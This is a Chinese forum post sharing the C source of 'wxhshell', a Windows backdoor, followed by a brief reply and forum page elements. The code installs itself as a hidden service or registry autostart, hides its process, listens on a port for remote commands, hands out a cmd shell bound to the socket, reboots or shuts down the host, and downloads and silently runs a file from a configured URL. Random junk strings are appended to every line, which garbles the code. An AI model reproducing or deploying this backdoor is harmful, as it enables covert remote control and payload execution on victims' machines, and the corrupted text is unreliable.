  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aE2Yl  
  else p_EWpSOt7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tL\L4>^7T  
  } u):Nq<X  
  else { &`2$,zX#  
,CP&o  
    switch(cmd[0]) {  r<1.'F  
  Ol)M0u  
  // 帮助 fU>4Ip1?y/  
  case '?': { swfjKBfw+g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Kwo0%2Onkd  
    break; *EF`s~  
  } 2&0#'Tb  
  // 安装 h/NI5   
  case 'i': { jMP;$w  
    if(Install()) .|/VD'xV"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C4|H 5H  
    else +<^c2diX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |!xqkmX  
    break; %T DY &@i=  
    } Z"d21D~h9`  
  // 卸载 Os[50j!4>  
  case 'r': { \os"j  
    if(Uninstall()) >8EmfjUoc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '=(@3ggA:  
    else I6Oc`S!L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _YA;Nd#%k  
    break; ) B[S4K2  
    } 13MB1n  
  // 显示 wxhshell 所在路径 a9p6[qOcd  
  case 'p': { 2T-3rC)  
    char svExeFile[MAX_PATH]; s>a(#6Q  
    strcpy(svExeFile,"\n\r"); hEfFMi=a`  
      strcat(svExeFile,ExeFile); 9@8)ZHf  
        send(wsh,svExeFile,strlen(svExeFile),0); Ta)6ly7'  
    break; */ok]kX'  
    } +5ue) `  
  // 重启 x}jiHV@=  
  case 'b': { Rqun}v}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xj. )iegQ  
    if(Boot(REBOOT)) ]3~X!(O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 86ml.VOR  
    else { (lLCAmK 5?  
    closesocket(wsh); `E5vO1Pl  
    ExitThread(0); {p7b\=WB-  
    } E>NL/[1d  
    break; 1w|u ^[~u\  
    }  2D"\Ox  
  // 关机 q Qc-;|8  
  case 'd': { ~.TKzh'eB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (!dwUB  
    if(Boot(SHUTDOWN)) K&%YTA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k4BiH5\hA  
    else { d>jRw  
    closesocket(wsh); hG>3y\!#  
    ExitThread(0); L`0}wR?+  
    } ]tO9<  
    break; U66zm9 3&  
    } %|gj46  
  // 获取shell \I~9%QJ>  
  case 's': { M{M?#Q  
    CmdShell(wsh); ] KR\<MJK  
    closesocket(wsh); D>I|(B!.p8  
    ExitThread(0); 7Hp~:i30  
    break; XjV,wsZ=  
  } U\`H0'  
  // 退出 A]mXV4RmI  
  case 'x': { gj<Y+Dv>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b}5hqIy  
    CloseIt(wsh); 3&vUR(10  
    break; #e(P~'A0  
    } @Z%I g  
  // 离开 6$"0!fl>  
  case 'q': { ]WP[hF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eWwI@ASaA  
    closesocket(wsh); Tq=OYJq5U  
    WSACleanup(); <-m?l6  
    exit(1); @&E{ L  
    break; 7K}Sk  
        } Bi|XdS$G  
  } F3V_rE<  
  } \IG"Te  
CkA ~'&C  
  // 提示信息 JYU0&nZl4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f;PvXq<7"  
} y:N>t+'5  
  } l~9P4 ,  
C!r9+z)<  
  return; _/zK ^S)  
} <xWBS/K  
6 su^yt  
// shell模块句柄 $VLCD  
int CmdShell(SOCKET sock) fooQqWC)  
{ =2yg:D  
STARTUPINFO si; NiTLQ"~e  
ZeroMemory(&si,sizeof(si)); 3d0Yq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q[w.[]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {_i.IPp~  
PROCESS_INFORMATION ProcessInfo; umD[4aP~;  
char cmdline[]="cmd"; E5}wR(i,4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R^=)Ucj  
  return 0; \x_fP;ma=_  
} L?c7M}vV  
NhDM h8=$^  
// 自身启动模式 Ltt+BUJc  
int StartFromService(void) DlXthRM  
{ z<rYh96uA  
typedef struct @94_'i7\  
{  `xpU  
  DWORD ExitStatus; )FG<|G(  
  DWORD PebBaseAddress; bl)iji`]  
  DWORD AffinityMask; ped3}i+|]  
  DWORD BasePriority; 0bQm:J[(#  
  ULONG UniqueProcessId; Q*+_%n1 /  
  ULONG InheritedFromUniqueProcessId; #iot.alNA  
}   PROCESS_BASIC_INFORMATION; +I+7@XiZ  
1JU1XQi  
PROCNTQSIP NtQueryInformationProcess; NI^[7.2  
\5wC&|WEB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?OU+)kgzh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lilKYrUmG  
96.A8o  
  HANDLE             hProcess; jR^>xp;  
  PROCESS_BASIC_INFORMATION pbi; UJ'}p&E  
+r+H`cT@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q\DD^Pbq  
  if(NULL == hInst ) return 0; ;b""N,  
MO{6B#(<F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k-( hJ}N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Us ]Uy|j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o >=YoG  
7b2N'^z}  
  if (!NtQueryInformationProcess) return 0; EuAJ.n  
S;"7d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qR~s&SC#  
  if(!hProcess) return 0; .g7ebh6D  
\@kY2,I V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z' 0Gd@/  
ql%>)k /x  
  CloseHandle(hProcess); 7^bO`  
(YjY=F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [`^x;*C  
if(hProcess==NULL) return 0; >mT< AQ  
t-\S/N  
HMODULE hMod; Aa5IccR  
char procName[255]; m6bI<C3^5  
unsigned long cbNeeded; lA39$oJ  
c FjC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~>@Dn40  
?o h3t  
  CloseHandle(hProcess); Dg_/Iu>OAE  
*xs8/?  
if(strstr(procName,"services")) return 1; // 以服务启动 ~9qDmt,i  
xA nAW  
  return 0; // 注册表启动 Aa&3x~3+  
} nTSGcMI  
A+j~oR  
// 主模块 a%f5dj+  
int StartWxhshell(LPSTR lpCmdLine) apUV6h-v  
{ {M]m cRB(  
  SOCKET wsl; wX7B&w8wV  
BOOL val=TRUE; d}b# "A  
  int port=0; WK#lE&V3  
  struct sockaddr_in door; =,I,K=+_x  
uJG^>B?`b  
  if(wscfg.ws_autoins) Install(); il-v>GJU7{  
Z{RgpVt  
port=atoi(lpCmdLine); K:P gkc  
Hu x#v>e  
if(port<=0) port=wscfg.ws_port; "P< drz<  
.+aSa?h_  
  WSADATA data; lp?geav  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2:i`,  
<4*7HY[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R\yw9!ESd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 33couAP#  
  door.sin_family = AF_INET; 2`t4@T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  ~J"*ahl  
  door.sin_port = htons(port); ,Mc}U9)F  
? Z8_(e0U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pz?.(AmU\  
closesocket(wsl); g<KBsz!{  
return 1; bQ0m=BzF  
} blaxUP:  
y{K~g<VL  
  if(listen(wsl,2) == INVALID_SOCKET) { rMpb  
closesocket(wsl); vyqlP;K  
return 1; (q*T.   
} Lc*i[J<s  
  Wxhshell(wsl); Cb.~Dv !  
  WSACleanup(); K*;=^PY  
Qo)>i0  
return 0; tb&{[|O^  
RIl%p~  
}  V '^s5  
5Z6$90!k  
// 以NT服务方式启动 z7{b>oub('  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |; {wy  
{ lGjmw"/C  
DWORD   status = 0; _l}&|:  
  DWORD   specificError = 0xfffffff; ^7TM.lE  
b V;R}3)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "]5]"F4]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B4[onYU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +Medu?K `  
  serviceStatus.dwWin32ExitCode     = 0; N}VKH5U|  
  serviceStatus.dwServiceSpecificExitCode = 0; qN}0$x>p  
  serviceStatus.dwCheckPoint       = 0; vlm&)DIt  
  serviceStatus.dwWaitHint       = 0; <G\q/!@_  
|CY.Y,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XL g6?Nu  
  if (hServiceStatusHandle==0) return; 1/6G&RB  
n/S1Hae`  
status = GetLastError(); hM/|k0YV  
  if (status!=NO_ERROR) @\z2FJ79w  
{ Skp&W*Ai  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /V2 ^/`&;a  
    serviceStatus.dwCheckPoint       = 0; /u*((AJ?Qv  
    serviceStatus.dwWaitHint       = 0; g G~UsA  
    serviceStatus.dwWin32ExitCode     = status; vkASp&a  
    serviceStatus.dwServiceSpecificExitCode = specificError; !m' lOz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <k6Zx-6X<  
    return; <8+.v6DCd  
  } <i%.bfQ/-  
dilRL,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oh:g  
  serviceStatus.dwCheckPoint       = 0; ^4_.5~(  
  serviceStatus.dwWaitHint       = 0; ;6U=fBp7<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UOy`N~\gh+  
} vtv|H  
o[O-|XL_  
// 处理NT服务事件,比如:启动、停止 D7olu29  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iaLsIy#h  
{ loLQ@?E  
switch(fdwControl) MHpPb{ ^  
{ xCEEv5(5  
case SERVICE_CONTROL_STOP: ow>^(>^~  
  serviceStatus.dwWin32ExitCode = 0; iLws;3UX;x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uv/I`[@HK8  
  serviceStatus.dwCheckPoint   = 0; T7'njaLec  
  serviceStatus.dwWaitHint     = 0; .`)\GjDv  
  { ^j0Mu.+_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YRfs8I^rg  
  } (es+VI2!&C  
  return; R/Mwq#xUb  
case SERVICE_CONTROL_PAUSE: g>1yQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #Ne<=ayS  
  break; A{bt Z#k  
case SERVICE_CONTROL_CONTINUE: |ITp$  _S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `M6!V  
  break; q?nXhUD  
case SERVICE_CONTROL_INTERROGATE: SsIy;l  
  break; C5CUMYU  
}; \3-XXq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C\ZL*,%}  
} &BY%<h0c  
o+4/L)h  
// 标准应用程序主函数 8V`NQS$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pEuZsQ  
{ @{iws@.  
2E33m*C2  
// 获取操作系统版本 &=Gz[1 L  
OsIsNt=GetOsVer(); y< W?hE[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3l_Ko %qS  
J;W(}"cFq  
  // 从命令行安装 I L 'i7p  
  if(strpbrk(lpCmdLine,"iI")) Install(); %0fF_OU  
u_;*Ay  
  // 下载执行文件 :9Zu&t  
if(wscfg.ws_downexe) { 5+vCuVZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6vbWe@#U/  
  WinExec(wscfg.ws_filenam,SW_HIDE); x#-uf  
} b'Pq [ )  
1+~JGY#   
if(!OsIsNt) { ZF"f.aV8)  
// 如果时win9x,隐藏进程并且设置为注册表启动 !C * %,Ak  
HideProc(); P~Q5d&1SO  
StartWxhshell(lpCmdLine); T]Gxf"mK  
} u/Fa+S  
else Fq!12/Nn  
  if(StartFromService()) >ygyPl ;1s  
  // 以服务方式启动 J]UlCg  
  StartServiceCtrlDispatcher(DispatchTable); J~eY,n.6]  
else IT! a)d  
  // 普通方式启动 8Y*SZTzV  
  StartWxhshell(lpCmdLine); (Z"QHfO'  
?Z0T9e<  
return 0; I<e[/#5P\`  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八